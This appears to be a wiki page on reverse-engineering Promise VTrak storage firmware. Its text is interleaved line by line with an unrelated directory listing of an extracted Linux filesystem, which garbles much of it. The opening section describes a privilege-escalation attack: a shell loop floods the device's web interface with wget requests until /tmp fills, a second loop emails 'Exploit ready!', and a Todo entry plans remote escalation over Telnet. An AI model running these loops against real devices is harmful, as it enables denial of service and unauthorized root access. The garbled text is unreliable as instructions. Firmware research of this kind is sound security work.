-rw-r--r-- 1 root root 52 Jun  3  2004 Root


part5/etc/rc.d/init.d:
Can we speed this up? Yes, we can. A ''wget'' request to the webinterface takes me an average of 6 seconds, so with the following simple script i can get ~14400 requests per day, which means it takes ~17 hours fill all available space.
total 3
<pre>
-rwxr-xr-x 1 root root 447 Aug 29  2003 killall
$ while [ true ]; do wget -O /dev/null "http://192.168.0.2"; done
-rwxr-xr-x 1 root root 201 Sep 22  2003 rcS
</pre>
-rwxr-xr-x 1 root root 160 Aug 29  2003 single
Check the webinterface from time to time, when you see an PHP error that it couldn't write it's session because /tmp is full, you're golden! Fire up you serial console and enjoy.


part5/etc/rc.d/rc0.d:
You can automate this, too:
total 0
<pre>
$ while [ true ]; do if `lynx --dump "http://192.168.0.2/" | grep -q "tmp"`; then echo "EOF" | mail -s 'Exploit ready!' you@example.com; break; fi; done
</pre>


part5/etc/rc.d/rc1.d:
=== Remote Privilege Escalation, too? ===
total 0
Still unconfirmed, but in theory this should also work over Telnet instead of the serial console, provided that Telnet is enabled on the device.
lrwxrwxrwx 1 root root 16 Mar  3 03:51 S00single -> ../init.d/single


part5/etc/rc.d/rc2.d:
total 0


part5/etc/rc.d/rc3.d:
total 0


part5/etc/rc.d/rc4.d:
total 0


part5/etc/rc.d/rc5.d:
== Firmware ==
total 0


part5/etc/rc.d/rc6.d:
total 0


part5/etc/sysconfig:
=== Getting Started ===
total 2
drwxr-xr-x 2 root root 1024 Jun  3  2004 CVS
drwxr-xr-x 3 root root 1024 Jun  3  2004 network


part5/etc/sysconfig/CVS:
Download the most recent firmware, at the time of this writing it was v2.39, and also make sure you have ''binwalk'' installed, an incredibly helpful tool when analyzing firmware files:
total 4
-rw-r--r-- 1 root root  2 Jun  3  2004 Entries
-rw-r--r-- 1 root root 16 Jun  3  2004 Entries.Log
-rw-r--r-- 1 root root 44 Jun  3  2004 Repository
-rw-r--r-- 1 root root 52 Jun  3  2004 Root


part5/etc/sysconfig/network:
*Download Page: http://firstweb.promise.com/support/download/download2_eng.asp?productID=153&category=all&os=100
total 1
*Firmware: http://firstweb.promise.com/upload/Support/Firmware/Mx00_series_v2.39.0000.00_with_notes.zip
drwxr-xr-x 2 root root 1024 Jun  3  2004 CVS
*binwalk: http://code.google.com/p/binwalk/


part5/etc/sysconfig/network/CVS:
total 3
-rw-r--r-- 1 root root  2 Jun  3  2004 Entries
-rw-r--r-- 1 root root 52 Jun  3  2004 Repository
-rw-r--r-- 1 root root 52 Jun  3  2004 Root


part5/etc/udhcpc:
total 1
drwxr-xr-x 2 root root 1024 Jun  3  2004 CVS
-rw-r--r-- 1 root root    0 Aug 29  2003 resolv.conf


part5/etc/udhcpc/CVS:
=== Analyzing the Firmware file ===
total 3
Use binwalk to look for the addresses of files within the firmware file:
-rw-r--r-- 1 root root 46 Jun  3  2004 Entries
<pre>
-rw-r--r-- 1 root root 41 Jun  3  2004 Repository
$ binwalk -v iv2p_all_20110303_16mb.img
-rw-r--r-- 1 root root 52 Jun  3  2004 Root
</pre>


part5/islavista:
This gives you a nice table with the decimal offset of each file in the firmware, and also the most likely format of this file:
total 22
<pre>
drwxr-xr-x 2 root root  1024 Mar  3 03:37 conf
Scan Time:    Aug 03, 2011 @ 20:13:21
drwxr-xr-x 2 root root  1024 Mar  3 03:37 flash
Magic File:   /etc/binwalk/magic.binwalk
drwxr-xr-x 2 root root  1024 Mar  3 03:37 fw
Signatures:   67
-rw-r--r-- 1 root root 17321 Mar 3 03:51 rd_flash.gz
Target File: iv2p_all_20110303_16mb.img
drwxr-xr-x 2 root root  1024 Mar  3 03:37 sw
MD5 Checksum: b8dad677c907a53ca9b222f2103c13b3


part5/islavista/conf:
DECIMAL        HEX            DESCRIPTION
total 0
-------------------------------------------------------------------------------------------------------
18204          0x471C          gzip compressed data, from Unix, last modified: Thu Apr 20 05:12:30 2006, max compression
871968          0xD4E20        Linux Compressed ROM filesystem data, little endian size 2584576 version #2 sorted_dirs, CRC 0xeeb623f0, edition 0, 1217 blocks, 7 files
3456544        0x34BE20        Linux Compressed ROM filesystem data, little endian size 3231744 version #2 sorted_dirs, CRC 0xf1e0771a, edition 0, 2870 blocks, 946 files
3528967        0x35D907        bzip2 compressed data
6688288        0x660E20        gzip compressed data, from Unix, last modified: Thu Mar  3 03:51:40 2011, max compression
11309493        0xAC91B5        Linux Compressed ROM filesystem data, little endian size 1277952 version #2 sorted_dirs, CRC 0x477edaab, edition 0, 802 blocks, 142 files
12882033        0xC49071        LZMA compressed data, properties: 0x5D, dictionary size: 335544320 bytes, uncompressed size: 30 bytes
13215338        0xC9A66A        LZMA compressed data, properties: 0x85, dictionary size: 740294656 bytes, uncompressed size: 16388 bytes
13216042        0xC9A92A        LZMA compressed data, properties: 0x86, dictionary size: 745537536 bytes, uncompressed size: 16388 bytes
13216734        0xC9ABDE        LZMA compressed data, properties: 0x89, dictionary size: 747110400 bytes, uncompressed size: 16388 bytes
13219257        0xC9B5B9        LZMA compressed data, properties: 0x5D, dictionary size: 335544320 bytes, uncompressed size: 30 bytes
13220658        0xC9BB32        LZMA compressed data, properties: 0x95, dictionary size: 272629760 bytes, uncompressed size: 16387 bytes
13221334        0xC9BDD6        LZMA compressed data, properties: 0x90, dictionary size: 65536 bytes, uncompressed size: 65536 bytes
13221354        0xC9BDEA        LZMA compressed data, properties: 0x90, dictionary size: 65536 bytes, uncompressed size: 65536 bytes
</pre>


part5/islavista/flash:
=== Extracting the Firmware parts ===
total 0


part5/islavista/fw:
The principle is pretty simple: use ''dd'' to read a segment from the firmware (if=), using a blocksize (bs=) of 1, starting (skip=) at the decimal offset of the file you want, with a length (count=) of "the next file's offset minus this file's offset" and write it to an ouput file (of=). It makes it a lot easier if you give the output file the extension of the filetype that binwalk tells you.
total 0


part5/islavista/sw:
total 0


part5/lib:
total 1098
-rwxr-xr-x 1 root root  20548 Mar  3 03:51 ld-uClibc-0.9.26.so
lrwxrwxrwx 1 root root    19 Mar  3 03:51 ld-uClibc.so.0 -> ld-uClibc-0.9.26.so
-rwxr-xr-x 1 root root  10312 Mar  3 03:51 libcrypt-0.9.26.so
lrwxrwxrwx 1 root root    18 Mar  3 03:51 libcrypt.so -> libcrypt-0.9.26.so
lrwxrwxrwx 1 root root    18 Mar  3 03:51 libcrypt.so.0 -> libcrypt-0.9.26.so
lrwxrwxrwx 1 root root    19 Mar  3 03:51 libc.so -> libuClibc-0.9.26.so
lrwxrwxrwx 1 root root    19 Mar  3 03:51 libc.so.0 -> libuClibc-0.9.26.so
-rwxr-xr-x 1 root root  6676 Mar  3 03:51 libdl-0.9.26.so
lrwxrwxrwx 1 root root    15 Mar  3 03:51 libdl.so -> libdl-0.9.26.so
lrwxrwxrwx 1 root root    15 Mar  3 03:51 libdl.so.0 -> libdl-0.9.26.so
lrwxrwxrwx 1 root root    13 Mar  3 03:51 libfloat.so -> libfloat.so.1
-rwxrwxr-x 1 root root  92392 Mar  3 03:51 libfloat.so.1
lrwxrwxrwx 1 root root    13 Mar  3 03:51 libgcc_s.so -> libgcc_s.so.1
-rwxr-xr-x 1 root root  29624 Mar  3 03:51 libgcc_s.so.1
-rwxr-xr-x 1 root root  79556 Mar  3 03:51 libm-0.9.26.so
lrwxrwxrwx 1 root root    14 Mar  3 03:51 libm.so -> libm-0.9.26.so
lrwxrwxrwx 1 root root    14 Mar  3 03:51 libm.so.0 -> libm-0.9.26.so
-rwxr-xr-x 1 root root  1688 Mar  3 03:51 libnsl-0.9.26.so
lrwxrwxrwx 1 root root    16 Mar  3 03:51 libnsl.so -> libnsl-0.9.26.so
lrwxrwxrwx 1 root root    16 Mar  3 03:51 libnsl.so.0 -> libnsl-0.9.26.so
-rwxr-xr-x 1 root root  66804 Mar  3 03:51 libpthread-0.9.26.so
lrwxrwxrwx 1 root root    20 Mar  3 03:51 libpthread.so -> libpthread-0.9.26.so
lrwxrwxrwx 1 root root    20 Mar  3 03:51 libpthread.so.0 -> libpthread-0.9.26.so
-rwxr-xr-x 1 root root  1696 Mar  3 03:51 libresolv-0.9.26.so
lrwxrwxrwx 1 root root    19 Mar  3 03:51 libresolv.so -> libresolv-0.9.26.so
lrwxrwxrwx 1 root root    19 Mar  3 03:51 libresolv.so.0 -> libresolv-0.9.26.so
lrwxrwxrwx 1 root root    18 Mar  3 03:51 libstdc++.so -> libstdc++.so.5.0.5
lrwxrwxrwx 1 root root    18 Mar  3 03:51 libstdc++.so.5 -> libstdc++.so.5.0.5
-rwxr-xr-x 1 root root 520652 Mar  3 03:51 libstdc++.so.5.0.5
-rwxr-xr-x 1 root root 272440 Mar  3 03:51 libuClibc-0.9.26.so
-rwxr-xr-x 1 root root  4320 Mar  3 03:51 libutil-0.9.26.so
lrwxrwxrwx 1 root root    17 Mar  3 03:51 libutil.so -> libutil-0.9.26.so
lrwxrwxrwx 1 root root    17 Mar  3 03:51 libutil.so.0 -> libutil-0.9.26.so
drwxr-xr-x 3 root root  1024 Mar  3 03:37 modules


part5/lib/modules:
==== Part 1 ====
total 1
<pre>
drwxr-xr-x 3 root root 1024 Mar  3 03:37 2.4.21-timesys-4.1.447
$ dd if=iv2p_all_20110303_16mb.img bs=1 skip=18204 count=853764 of=part1.gz
$ gunzip part1.gz
$ file part1
</pre>
<pre>
part1: data
</pre>
Probably the kernel and initrd?


part5/lib/modules/2.4.21-timesys-4.1.447:
total 1
drwxr-xr-x 2 root root 1024 Mar  3 03:37 misc


part5/lib/modules/2.4.21-timesys-4.1.447/misc:
total 147
-rw-r--r-- 1 root root 13272 Mar  3 03:37 fumutex.o
-rw-r--r-- 1 root root  4776 Mar  3 03:37 ioc80314_timer.o
-rw-r--r-- 1 root root 13804 Mar  3 03:37 ktimer.o
-rw-r--r-- 1 root root 15240 Mar  3 03:37 measure_rk.o
-rw-r--r-- 1 root root 14164 Mar  3 03:37 mqueue.o
-rw-r--r-- 1 root root 11108 Mar  3 03:37 mutex.o
-rw-r--r-- 1 root root  8416 Mar  3 03:37 pi.o
-rw-r--r-- 1 root root 10888 Mar  3 03:37 posix_timers.o
-rw-r--r-- 1 root root 50920 Mar  3 03:37 rk.o


part5/lost+found:
==== Part 2 ====
total 0
<pre>
$ dd if=iv2p_all_20110303_16mb.img bs=1 skip=871968 count=2584576 of=part2.cramfs
$ mkdir part2
$ mount -o loop parts2.cramfs part2/
$ ls -l part2/
</pre>
<pre>
total 4858
-rw-r--r-- 1 root root  18204 Jan  1  1970 iodrv.o
-rw-r--r-- 1 root root  233655 Jan  1  1970 Marvell.o
-rw-r--r-- 1 root root  470713 Jan  1  1970 qla4xxx.o
-rw-r--r-- 1 root root 3193368 Jan  1  1970 raid_core.o
-rw-r--r-- 1 root root  436560 Jan  1  1970 scsi.o
-rw-r--r-- 1 root root  619697 Jan  1  1970 xfc.o
</pre>
Kernel modules, boooring!


part5/mnt:
total 0


part5/oem:
total 0


part5/proc:
==== Part 3 ====
total 0
<pre>
$ dd if=iv2p_all_20110303_16mb.img bs=1 skip=3456544 count=72423 of=part3.cramfs
$ mount -o loop part3.cramfs part3/
$ ls -lR part3/
</pre>
[[Promise VTrak M500f Firmware/part3|Full contents of Part 3]]


part5/sbin:
The webinterface and some non-standard binaries, so this must be their own code.
total 0
lrwxrwxrwx 1 root root 12 Mar  3 03:51 freeramdisk -> /bin/busybox
lrwxrwxrwx 1 root root 12 Mar  3 03:51 getty -> /bin/busybox
lrwxrwxrwx 1 root root 12 Mar  3 03:51 halt -> /bin/busybox
lrwxrwxrwx 1 root root 12 Mar  3 03:51 hwclock -> /bin/busybox
lrwxrwxrwx 1 root root 12 Mar  3 03:51 ifconfig -> /bin/busybox
lrwxrwxrwx 1 root root 12 Mar  3 03:51 ifdown -> /bin/busybox
lrwxrwxrwx 1 root root 12 Mar  3 03:51 ifup -> /bin/busybox
lrwxrwxrwx 1 root root 12 Mar  3 03:51 init -> /bin/busybox
lrwxrwxrwx 1 root root 12 Mar  3 03:51 insmod -> /bin/busybox
lrwxrwxrwx 1 root root 12 Mar  3 03:51 klogd -> /bin/busybox
lrwxrwxrwx 1 root root 12 Mar  3 03:51 logread -> /bin/busybox
lrwxrwxrwx 1 root root 12 Mar  3 03:51 lsmod -> /bin/busybox
lrwxrwxrwx 1 root root 12 Mar  3 03:51 makedevs -> /bin/busybox
lrwxrwxrwx 1 root root 12 Mar  3 03:51 modprobe -> /bin/busybox
lrwxrwxrwx 1 root root 12 Mar  3 03:51 poweroff -> /bin/busybox
lrwxrwxrwx 1 root root 12 Mar  3 03:51 reboot -> /bin/busybox
lrwxrwxrwx 1 root root 12 Mar  3 03:51 rmmod -> /bin/busybox
lrwxrwxrwx 1 root root 12 Mar  3 03:51 route -> /bin/busybox
lrwxrwxrwx 1 root root 12 Mar  3 03:51 sulogin -> /bin/busybox
lrwxrwxrwx 1 root root 12 Mar  3 03:51 swapoff -> /bin/busybox
lrwxrwxrwx 1 root root 12 Mar  3 03:51 swapon -> /bin/busybox
lrwxrwxrwx 1 root root 12 Mar  3 03:51 syslogd -> /bin/busybox
lrwxrwxrwx 1 root root 12 Mar  3 03:51 udhcpc -> /bin/busybox


part5/tmp:
When accessing a file you'll get an error, though. Quick check:
total 0
<pre>
$ fsck.cramfs part3.cramfs
</pre>
<pre>
fsck.cramfs: file length too short
</pre>
Damn.


part5/usr:
total 7
drwxr-xr-x 2 root root 1024 Mar  3 03:51 bin
drwxr-xr-x 2 root root 2048 Mar  3 03:51 lib
drwxr-xr-x 2 root root 1024 Mar  3 03:37 local
drwxr-xr-x 2 root root 1024 Mar  3 03:37 man
drwxr-xr-x 2 root root 1024 Mar  3 03:45 sbin
drwxr-xr-x 3 root root 1024 Mar  3 03:51 share


part5/usr/bin:
total 1333
lrwxrwxrwx 1 root root      12 Mar  3 03:51 [ -> /bin/busybox
lrwxrwxrwx 1 root root      12 Mar  3 03:51 ar -> /bin/busybox
lrwxrwxrwx 1 root root      12 Mar  3 03:51 awk -> /bin/busybox
lrwxrwxrwx 1 root root      12 Mar  3 03:51 basename -> /bin/busybox
lrwxrwxrwx 1 root root      12 Mar  3 03:51 bunzip2 -> /bin/busybox
lrwxrwxrwx 1 root root      12 Mar  3 03:51 bzcat -> /bin/busybox
-rwxr-xr-x 1 root root  30372 Mar  3 03:51 cimserver
-rwxr-xr-x 1 root root  81524 Mar  3 03:51 cimuser
lrwxrwxrwx 1 root root      12 Mar  3 03:51 clear -> /bin/busybox
lrwxrwxrwx 1 root root      12 Mar  3 03:51 crontab -> /bin/busybox
lrwxrwxrwx 1 root root      12 Mar  3 03:51 cut -> /bin/busybox
lrwxrwxrwx 1 root root      12 Mar  3 03:51 dc -> /bin/busybox
lrwxrwxrwx 1 root root      12 Mar  3 03:51 dirname -> /bin/busybox
lrwxrwxrwx 1 root root      12 Mar  3 03:51 dos2unix -> /bin/busybox
lrwxrwxrwx 1 root root      12 Mar  3 03:51 du -> /bin/busybox
lrwxrwxrwx 1 root root      12 Mar  3 03:51 env -> /bin/busybox
lrwxrwxrwx 1 root root      12 Mar  3 03:51 find -> /bin/busybox
lrwxrwxrwx 1 root root      12 Mar  3 03:51 free -> /bin/busybox
lrwxrwxrwx 1 root root      12 Mar  3 03:51 ftpget -> /bin/busybox
lrwxrwxrwx 1 root root      12 Mar  3 03:51 ftpput -> /bin/busybox
lrwxrwxrwx 1 root root      12 Mar  3 03:51 head -> /bin/busybox
lrwxrwxrwx 1 root root      12 Mar  3 03:51 hexdump -> /bin/busybox
lrwxrwxrwx 1 root root      12 Mar  3 03:51 hostid -> /bin/busybox
lrwxrwxrwx 1 root root      12 Mar  3 03:51 id -> /bin/busybox
lrwxrwxrwx 1 root root      12 Mar  3 03:51 killall -> /bin/busybox
lrwxrwxrwx 1 root root      12 Mar  3 03:51 logger -> /bin/busybox
lrwxrwxrwx 1 root root      12 Mar  3 03:51 md5sum -> /bin/busybox
lrwxrwxrwx 1 root root      12 Mar  3 03:51 mesg -> /bin/busybox
lrwxrwxrwx 1 root root      12 Mar  3 03:51 nslookup -> /bin/busybox
lrwxrwxrwx 1 root root      12 Mar  3 03:51 passwd -> /bin/busybox
lrwxrwxrwx 1 root root      12 Mar  3 03:51 patch -> /bin/busybox
lrwxrwxrwx 1 root root      12 Mar  3 03:51 printf -> /bin/busybox
lrwxrwxrwx 1 root root      12 Mar  3 03:51 realpath -> /bin/busybox
lrwxrwxrwx 1 root root      12 Mar  3 03:51 renice -> /bin/busybox
lrwxrwxrwx 1 root root      12 Mar  3 03:51 reset -> /bin/busybox
-rwxr-xr-x 1 root root  179231 Mar  3 03:37 slpd
-rwxr-xr-x 1 root root  20012 Mar  3 03:44 snmpd
lrwxrwxrwx 1 root root      12 Mar  3 03:51 sort -> /bin/busybox
lrwxrwxrwx 1 root root      12 Mar  3 03:51 strings -> /bin/busybox
lrwxrwxrwx 1 root root      12 Mar  3 03:51 tail -> /bin/busybox
lrwxrwxrwx 1 root root      12 Mar  3 03:51 tee -> /bin/busybox
lrwxrwxrwx 1 root root      12 Mar  3 03:51 telnet -> /bin/busybox
lrwxrwxrwx 1 root root      12 Mar  3 03:51 test -> /bin/busybox
lrwxrwxrwx 1 root root      12 Mar  3 03:51 tftp -> /bin/busybox
-rwxr-xr-x 1 root root 1041980 Mar  3 03:42 thttpd
lrwxrwxrwx 1 root root      12 Mar  3 03:51 time -> /bin/busybox
lrwxrwxrwx 1 root root      12 Mar  3 03:51 top -> /bin/busybox
lrwxrwxrwx 1 root root      12 Mar  3 03:51 tr -> /bin/busybox
lrwxrwxrwx 1 root root      12 Mar  3 03:51 traceroute -> /bin/busybox
lrwxrwxrwx 1 root root      12 Mar  3 03:51 tty -> /bin/busybox
lrwxrwxrwx 1 root root      12 Mar  3 03:51 uniq -> /bin/busybox
lrwxrwxrwx 1 root root      12 Mar  3 03:51 unix2dos -> /bin/busybox
lrwxrwxrwx 1 root root      12 Mar  3 03:51 unzip -> /bin/busybox
lrwxrwxrwx 1 root root      12 Mar  3 03:51 uptime -> /bin/busybox
lrwxrwxrwx 1 root root      12 Mar  3 03:51 vlock -> /bin/busybox
lrwxrwxrwx 1 root root      12 Mar  3 03:51 wc -> /bin/busybox
lrwxrwxrwx 1 root root      12 Mar  3 03:51 wget -> /bin/busybox
lrwxrwxrwx 1 root root      12 Mar  3 03:51 which -> /bin/busybox
lrwxrwxrwx 1 root root      12 Mar  3 03:51 who -> /bin/busybox
lrwxrwxrwx 1 root root      12 Mar  3 03:51 whoami -> /bin/busybox
lrwxrwxrwx 1 root root      12 Mar  3 03:51 xargs -> /bin/busybox
lrwxrwxrwx 1 root root      12 Mar  3 03:51 yes -> /bin/busybox


part5/usr/lib:
==== Part 4 ====
total 8510
<pre>
-rwxr-xr-x 1 root root  24736 Mar  3 03:51 libCIMxmlIndicationHandler.so
$ dd if=iv2p_all_20110303_16mb.img bs=1 skip=3528967 count=3159321 of=part4.bz2
-rwxr-xr-x 1 root root  535728 Mar  3 03:51 libCMPIProviderManager.so
$ bunzip2 part4.bz2
lrwxrwxrwx 1 root root      14 Mar  3 03:51 libcrypto.so -> libcrypto.so.0
</pre>
lrwxrwxrwx 1 root root      18 Mar  3 03:51 libcrypto.so.0 -> libcrypto.so.0.9.7
<pre>
-rwxr-xr-x 1 root root 1073256 Mar  3 03:40 libcrypto.so.0.9.7
bunzip2: part4.bz2 is not a bzip2 file.
-rwxr-xr-x 1 root root  33364 Mar  3 03:51 libNamespaceProvider.so.1
</pre>
lrwxrwxrwx 1 root root      24 Mar  3 03:51 libnetsnmpagent.so -> libnetsnmpagent.so.5.0.8
Hmm, strange.
lrwxrwxrwx 1 root root      24 Mar  3 03:51 libnetsnmpagent.so.5 -> libnetsnmpagent.so.5.0.8
-rwxr-xr-x 1 root root  172064 Mar  3 03:44 libnetsnmpagent.so.5.0.8
lrwxrwxrwx 1 root root      26 Mar  3 03:51 libnetsnmphelpers.so -> libnetsnmphelpers.so.5.0.8
lrwxrwxrwx 1 root root      26 Mar  3 03:51 libnetsnmphelpers.so.5 -> libnetsnmphelpers.so.5.0.8
-rwxr-xr-x 1 root root  146688 Mar  3 03:44 libnetsnmphelpers.so.5.0.8
lrwxrwxrwx 1 root root      23 Mar  3 03:51 libnetsnmpmibs.so -> libnetsnmpmibs.so.5.0.8
lrwxrwxrwx 1 root root      23 Mar  3 03:51 libnetsnmpmibs.so.5 -> libnetsnmpmibs.so.5.0.8
-rwxr-xr-x 1 root root  154508 Mar  3 03:44 libnetsnmpmibs.so.5.0.8
lrwxrwxrwx 1 root root      19 Mar  3 03:51 libnetsnmp.so -> libnetsnmp.so.5.0.8
lrwxrwxrwx 1 root root      19 Mar  3 03:51 libnetsnmp.so.5 -> libnetsnmp.so.5.0.8
-rwxr-xr-x 1 root root  502156 Mar  3 03:44 libnetsnmp.so.5.0.8
-rwxr-xr-x 1 root root  67420 Mar  3 03:51 libpegauthentication.so.1
-rwxr-xr-x 1 root root  354380 Mar  3 03:51 libpegclient.so.1
-rwxr-xr-x 1 root root  115152 Mar  3 03:51 libpegcliutils.so.1
-rwxr-xr-x 1 root root 1963312 Mar  3 03:51 libpegcommon.so.1
-rwxr-xr-x 1 root root  295900 Mar  3 03:51 libpegconfig.so.1
-rwxr-xr-x 1 root root  70012 Mar  3 03:51 libpegexportclient.so.1
-rwxr-xr-x 1 root root  154236 Mar  3 03:51 libpegexportserver.so.1
-rwxr-xr-x 1 root root  119444 Mar  3 03:51 libpeggetoopt.so.1
-rwxr-xr-x 1 root root  53860 Mar  3 03:51 libpeghandlerservice.so.1
-rwxr-xr-x 1 root root  299944 Mar  3 03:51 libpegindicationservice.so.1
-rwxr-xr-x 1 root root  179504 Mar  3 03:51 libpegprm.so.1
-rwxr-xr-x 1 root root  308692 Mar  3 03:51 libpegprovidermanager.so.1
-rwxr-xr-x 1 root root  134724 Mar  3 03:51 libpegprovider.so.1
-rwxr-xr-x 1 root root  158000 Mar  3 03:51 libpegquerycommon.so.1
-rwxr-xr-x 1 root root  25348 Mar  3 03:51 libpegqueryexpression.so.1
-rwxr-xr-x 1 root root  315808 Mar  3 03:51 libpegrepository.so.1
-rwxr-xr-x 1 root root  641748 Mar  3 03:51 libpegserver.so.1
-rwxr-xr-x 1 root root  102472 Mar  3 03:51 libpegservice.so.1
-rwxr-xr-x 1 root root  73204 Mar  3 03:51 libpeguser.so.1
-rwxr-xr-x 1 root root  100468 Mar  3 03:51 libpegwql.so.1
lrwxrwxrwx 1 root root      15 Mar  3 03:51 libslp.so -> libslp.so.1.0.0
lrwxrwxrwx 1 root root      15 Mar  3 03:51 libslp.so.1 -> libslp.so.1.0.0
-rwxr-xr-x 1 root root  143646 Mar  3 03:37 libslp.so.1.0.0
lrwxrwxrwx 1 root root      11 Mar  3 03:51 libssl.so -> libssl.so.0
lrwxrwxrwx 1 root root      15 Mar  3 03:51 libssl.so.0 -> libssl.so.0.9.7
-rwxr-xr-x 1 root root  179508 Mar  3 03:40 libssl.so.0.9.7
-rwxr-xr-x 1 root root  134640 Mar  3 03:51 libUserAuthProvider.so.1


part5/usr/local:
total 0


part5/usr/man:
total 0


part5/usr/sbin:
==== Part 5 ====
total 17
<pre>
lrwxrwxrwx 1 root root    12 Mar  3 03:51 chroot -> /bin/busybox
$ dd if=iv2p_all_20110303_16mb.img bs=1 skip=6688288 count=4621205 of=part5.gz
lrwxrwxrwx 1 root root    12 Mar  3 03:51 clitelnetd -> /bin/busybox
$ gunzip part5.gz
lrwxrwxrwx 1 root root    12 Mar  3 03:51 crond -> /bin/busybox
$ file part5
lrwxrwxrwx 1 root root    12 Mar  3 03:51 inetd -> /bin/busybox
</pre>
lrwxrwxrwx 1 root root    12 Mar  3 03:51 rdate -> /bin/busybox
<pre>
-rwxr-xr-x 1 root root 16232 Mar  3 03:42 stunnel
part5: Linux rev 1.0 ext2 filesystem data, UUID=1e4f9d2b-b406-4a38-bbf8-8f1fcf52e5c7
lrwxrwxrwx 1 root root    12 Mar  3 03:51 telnetd -> /bin/busybox
</pre>
So it's a gzip, but that contains an ext2 partition.
<pre>
$ mv part5 part5.ext2
$ mkdir part5
$ mount -o loop part5.ext2 part5/
$ ls -lR part5/
</pre>
[[Promise VTrak M500f Firmware/part5|Full contents of Part 5]]


part5/usr/share:
BusyBox, libraries, you name it. This must be the base Linux part.
total 1
drwxr-xr-x 2 root root 1024 Apr 14  2006 udhcpc


part5/usr/share/udhcpc:
==== Part 6 ====
total 6
<pre>
-rwxr-xr-x 1 root root 588 Aug 29  2003 bound
$ dd if=iv2p_all_20110303_16mb.img bs=1 skip=11309493 count=1572540 of=part6.cramfs
-rwxr-xr-x 1 root root  77 Aug 29  2003 deconfig
$ mkdir part6/
-rwxr-xr-x 1 root root 264 Aug 29  2003 default.script
$ mount -o loop part6.cramfs part6/
-rwxr-xr-x 1 root root  31 Apr 14  2006 leasefail
$ ls -lR part6/
-rwxr-xr-x 1 root root  68 Aug 29  2003 nak
</pre>
-rwxr-xr-x 1 root root 588 Aug 29  2003 renew
[[Promise VTrak M500f Firmware/part6|Full contents of Part 6]]


part5/var:
'''fw''' and '''sw''', this is probably the interesting stuff? But where's the /islavista/conf/sw/php.ini?
total 2
drwxr-xr-x 2 root root 1024 Mar  3 03:37 log
drwxr-xr-x 2 root root 1024 Mar  3 03:37 run


part5/var/log:
=== Fixing Part 3 ===
total 0
Part 3 is a broken CramFS, and Part 4 is a bzip2 file that is not a bzip2 file... smells fishy.
 
Let's say Part 3 is actually Part 3.1 and Part 4 is Part 3.2:
part5/var/run:
<pre>
total 0
$ dd if=iv2p_all_20110303_16mb.img bs=1 skip=3456544 count=3231744 of=part3.cramfs
$ fsck.cramfs -v part3.cramfs
</pre>
</pre>
==== part 6 ====
<pre>
<pre>
dd if=iv2p_all_20110303_16mb.img bs=1 skip=11309493 count=1572540 of=part6.cramfs
cramfs endianness is little
mkdir part6/
part3.cramfs: OK
mount -o loop part6.cramfs part6/
ls -lR part6/
</pre>
</pre>
<pre>
Bingo!
part6/:
 
total 1
=== The Missing Link ===
drwxr-xr-x 1 root root 88 Jan  1  1970 fw
There are a lot of strings throughout the fimware that point at 4 MTD blocks which get mounted into the /islavista/conf, /islavista/fw, /islavista/sw and /oem directories.
drwxr-xr-x 1 root root 72 Jan  1  1970 sw


part6/fw:
Finding the contents of those blocks that gets written to the flash is the interesting part...
total 514
-rw-r--r-- 1 root root 393216 Jan  1  1970 evtinfo.conf
-rw-r--r-- 1 root root 131072 Jan  1  1970 evtlogloc.conf
-rw-r--r-- 1 root root  1616 Jan  1  1970 OEMCoercionTable.conf


part6/sw:
<pre>
total 3
/dev/mtdblock5 /islavista/fw      cramfs suid,dev,exec,auto,nouser,async,ro
drwxr-xr-x 1 root root 40 Jan 1  1970 cli
/dev/mtdblock6 /islavista/sw      cramfs suid,dev,exec,auto,nouser,async,ro
drwxr-xr-x 1 root root 48 Jan 1 1970 event
/dev/mtdblock2 /islavista/conf    jffs2  defaults
drwxr-xr-x 1 root root 132 Jan 1 1970 gui
/dev/mtdblock7 /oem                cramfs suid,dev,exec,auto,nouser,async,ro
-rw-r--r-- 1 root root 661 Jan  1  1970 oem.xml
</pre>


part6/sw/cli:
The directory /islavista/flash seems to be the upload destination for firmware updates via the webinterface.
total 1
The filesystem in Part 6 gets mounted to /oem.
-rw-r--r-- 1 root root 306 Jan  1  1970 clioem.xml
drwxr-xr-x 1 root root  24 Jan  1  1970 clu


part6/sw/cli/clu:
So where do the juicy bits come from? Let's binwalk part1:
total 80
<pre>
-rw-r--r-- 1 root root 81901 Jan  1  1970 cluhelp.txt
$binwalk -av -x MIPSE part1
</pre>
[[Promise VTrak M500f Firmware/part1|binwalk output]]


part6/sw/event:
We're still looking for 2 CramFS and 1 JFFS2...
total 141
-rw-r--r-- 1 root root 122361 Jan  1  1970 event_EN.xml
-rw-r--r-- 1 root root  21440 Jan  1  1970 event.rng


part6/sw/gui:
== Todo ==
total 6
* Find the page that will throw the most errors, to speed up filling the flash.
-rw-r--r-- 1 1023 232  734 Jan  1  1970 common.js
* Privilege Escalation is already nice, how about Remote Privilege Escalation? Confirm that this also works when using Telnet, not only serial console!
drw-r--r-- 1 1023 232  64 Jan  1  1970 css
* Where's that php.ini hidden in the firmware? Can't be found in any of the firmware parts, yet - maybe generated at runtime? Hmm, hmm, hmm.
drw------- 1 1023 232 1096 Jan  1  1970 enclosureImages
* Analyze the firmware of different models/series. Code recycling FTW!
drw------- 1 1023 232  788 Jan  1  1970 icons
drw------- 1 1023 232  700 Jan  1  1970 images
drw------- 1 1023 232  640 Jan  1  1970 languages


part6/sw/gui/css:
total 8
-rw-r--r-- 1 1023 232 1473 Jan  1  1970 help.css
-rw-r--r-- 1 1023 232 4046 Jan  1  1970 main.css
-rw-r--r-- 1 1023 232 1959 Jan  1  1970 text1.css


part6/sw/gui/enclosureImages:
total 595
-rwxr--r-- 1 1023 232  9102 Jan  1  1970 backEchassis.gif
-rwxr--r-- 1 1023 232  2886 Jan  1  1970 backEctrl.gif
-rwxr--r-- 1 1023 232  2687 Jan  1  1970 backJctrl.gif
-rwxr--r-- 1 1023 232  1584 Jan  1  1970 batterybad.gif
-rwxr--r-- 1 1023 232  1580 Jan  1  1970 batterycritical.gif
-rwxr--r-- 1 1023 232  1448 Jan  1  1970 batterygood.gif
-rwxr--r-- 1 1023 232  2752 Jan  1  1970 blowerbad.gif
-rwxr--r-- 1 1023 232  2831 Jan  1  1970 blowergood.gif
-rwxr--r-- 1 1023 232  1891 Jan  1  1970 blowerstop.gif
-rwxr--r-- 1 1023 232 69881 Jan  1  1970 chassisE300.gif
-rwxr--r-- 1 1023 232 70316 Jan  1  1970 chassisJ300.gif
-rwxr--r-- 1 1023 232 71104 Jan  1  1970 chassisVtrak2U_FC.gif
